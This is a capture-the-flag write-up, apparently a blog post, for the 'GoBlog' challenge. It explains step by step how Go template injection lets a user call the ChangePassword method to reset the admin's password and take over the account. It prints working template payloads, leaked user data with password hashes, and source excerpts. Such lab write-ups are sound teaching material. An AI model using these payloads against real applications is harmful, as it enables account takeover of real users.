GoBlog
Summary
This is a write up for a CTF.
The application is vulnerable to SSTI method confusion, mentioned here. This means you can access methods available to the struct that is being passed in the templates, /web/
shows the templates that are being served and /models/
shows the functions that are being used. By abusing how templates work in golang we can access the ChangePassword
method and change the admin's password allowing us to take over the admin account and access /admin
SSTI
The SSTI idea came from knowing the contents of /web/
which includes the admin template where the flag is referenced as {{.Flag}}
and the rest of the templates for the blog.
admin.html.tmpl
base.html.tmpl
index.html.tmpl
new_post.html.tmpl
post.html.tmpl
profile.html.tmpl
signin.html.tmpl
signup.html.tmpl
The usual payloads to test SSTI do not work here, if you try to use something {{7*7}}
the application will break, instead we can use {{.}}
to see what data is being passed to template by changing the username to data: {{.}}
in /profile
after logging in. Here we get this information reflected in the username on the top right corner, we can also use the {{.CurrentUser}}
object that is passed to the template to check out the data that's in there.
{
38e367f9-6065-4717-87bf-5fd938589b8f
{{.CurrentUser}}
09d8d7b2345e48f3dbe42d81883b9cf4a5d2de2264929c0a99d0957fcfba3d697b30bf4b5b3c0218f211a037446fbda831949d46d9a15cc30e503a63474ec4e5
duck@gmail.com false 2021-09-18 18:37:39.851096876 +0000 UTC
2021-09-18 19:04:01.69805924 +0000 UTC
}
Confused
If we look at /models/
this is where the application holds logic that interacts with the database, the most interesting functions are in /models/users.go
, which has functions that we can execute with our SSTI, but only a few where we can pass arguments and have the needed data structures available for the rest of the parameters. The function I wanted to invoke was the Create()
function in the users.go
but it doesn't take any arguments and uses the data structure passed to the template. The other interesting function that would allow me to pass arguments is the ChangePassword(newPassword string)
but if we call it like {{.CurrentUser.ChangePassword "duck"}}
it would change our own password which is cool but it would be cooler if we could change congon4tor's
password instead. The problem is the data structure that we are passing while in the /profile
template contains our own details.
The /profile
template file includes the data structure CurrentUser
which has all the information for our current user and is what we can use to access the other methods inside of users.go
the data in that structure is what fills the parameters in the functions we want to hijack.
// template for /profile
{{define "styles"}}
<style></style>
{{ end }}
{{define "content"}}
<div class="container">
<div class="row">
<div class="jumbotron mt-5">
<form action="/profile" method="post">
<div class="mb-3">
<label for="exampleFormControlInput1" class="form-label">Username</label>
<input type="text" class="form-control" id="exampleFormControlInput1" placeholder="Username" name="username" value="{{.CurrentUser.Username}}">
</div>
<div class="mb-3">
<label for="exampleFormControlInput2" class="form-label">Email</label>
<input type="text" class="form-control" id="exampleFormControlInput2" placeholder="Email" readonly value="{{.CurrentUser.Email}}">
</div>
<button type="submit" class="btn btn-primary">Submit</button>
</form>
</div>
</div>
</div>
{{end}}
We need to somehow get the data structure to show congon4tor's
information, if we use our {{.}}
payload we can check if any page discloses that information, here I used the original blog post that was there when we sign in, if we access the post from the admin we can see the data structure is from the congon4tor
user, which is what we need.
{[{
5e6ef653-0f54-4e0b-b9dd-c5898bcfb20a
{
608a3505-2fa9-46b6-b149-e085f3f2e85b
congon4tor
1ebbab4803520862d1a5ba5bcc192643e03562c0a59a0b48911336e0c07e0a4ad8d4710b385935a35c176bb29c847281ba75721c849105f37d24b8e934c3a1ac congo@congon4tor.com
false
2021-07-24 13:26:01.837939032 +0200 +0200
2021-07-24 13:26:01.837938977 +0200 +0200
}
Welcome to GoBlog Welcome to GoBlog a website where you can post all your travel adventures for others to enjoy. Talk about the places you visited, the food you tried, the people you met and the culture of the place you visited. It is also a good idea to give others some tips and tricks you learnt during your trip.
Thanks for sharing with the community!
https://www.bloggingwp.com/wp-content/uploads/2018/01/Travel-blog.jpeg
2021-07-24 13:42:53.033357338 +0200 +0200
2021-07-24 13:42:53.033357391 +0200 +0200
}]}
But how can we access the ChangePassword
function from the post's page thought? If we try to use the same payload as before {{.CurrentUser.ChangePassword "duck"}}
and then go to the post url [http://challenge.ctf.games:31814/post/5e6ef653-0f54-4e0b-b9dd-c5898bcfb20a](http://challenge.ctf.games:31814/post/5e6ef653-0f54-4e0b-b9dd-c5898bcfb20a)
the application will break because we do not have {{.CurrentUser}}
in our /post
template:
{{define "content"}}
<header class="masthead" style="background-image: url('{{.Post.Thumbnail}}')">
<div class="tint">
<div class="container position-relative px-4 px-lg-5">
<div class="row gx-4 gx-lg-5 justify-content-center">
<div class="col-md-10 col-lg-8 col-xl-7">
<div class="post-heading mt-3">
<h1>{{.Post.Title}}</h1>
<span class="meta">
Posted by
{{.Post.Author.Username}}
on {{.Post.UpdatedAt.Format "02 Jan 06 15:04"}}
</span>
</div>
</div>
</div>
</div>
</div>
</header>
<div class="container px-4 px-lg-5">
<div class="row gx-4 gx-lg-5 justify-content-center">
<div class="col-md-10 col-lg-8 col-xl-7">
<pre class="content">{{.Post.Content}}</pre>
</div>
</div>
</div>
{{end}}
But we do have access to {{.Post}}
which discloses information from the author, the object contains all the information we need to for the ChangePassword
function. Now how can we access the method we need? We can do it by calling it directly from the author struct, this is possible because the author
struct being used here is our Users
struct which contains the ChangePassword
function we need, and the data being passed in this post wil fill the parameters with the admin's details
func (u User) ChangePassword(newPassword string) error {
db := GetConnection()
q := `UPDATE users set hashed_password=?
WHERE id=?`
stmt, err := db.Prepare(q)
if err != nil {
return err
}
defer stmt.Close()
h := sha512.New()
h.Write([]byte(newPassword))
// this will be the admins ID when we visit the blog's page
r, err := stmt.Exec(hex.EncodeToString(h.Sum(nil)), u.ID)
if err != nil {
return err
}
if i, err := r.RowsAffected(); err != nil || i != 1 {
return errors.New("ERROR: Expected one row modified")
}
return nil
}
Now with that information, we'll need to:
- Change our username to our payload:
{{.Post.Author.ChangePassword "duck"}}
- Navigate to
congon4tor's
blog post- http://challenge.ctf.games:31737/post/5e6ef653-0f54-4e0b-b9dd-c5898bcfb20a
- At this point the password has been changed but you need the email address to login
- Get
congon4tor
email by setting our username to{{.Post.Author.Email}}
- Navigate to
congon4tor's
blog post again (email should be on the top right hand side)
-
Sign into
congon4tor's
account using:email: congo@congon4tor.com
password: duck
Access
/admin
Top comments (0)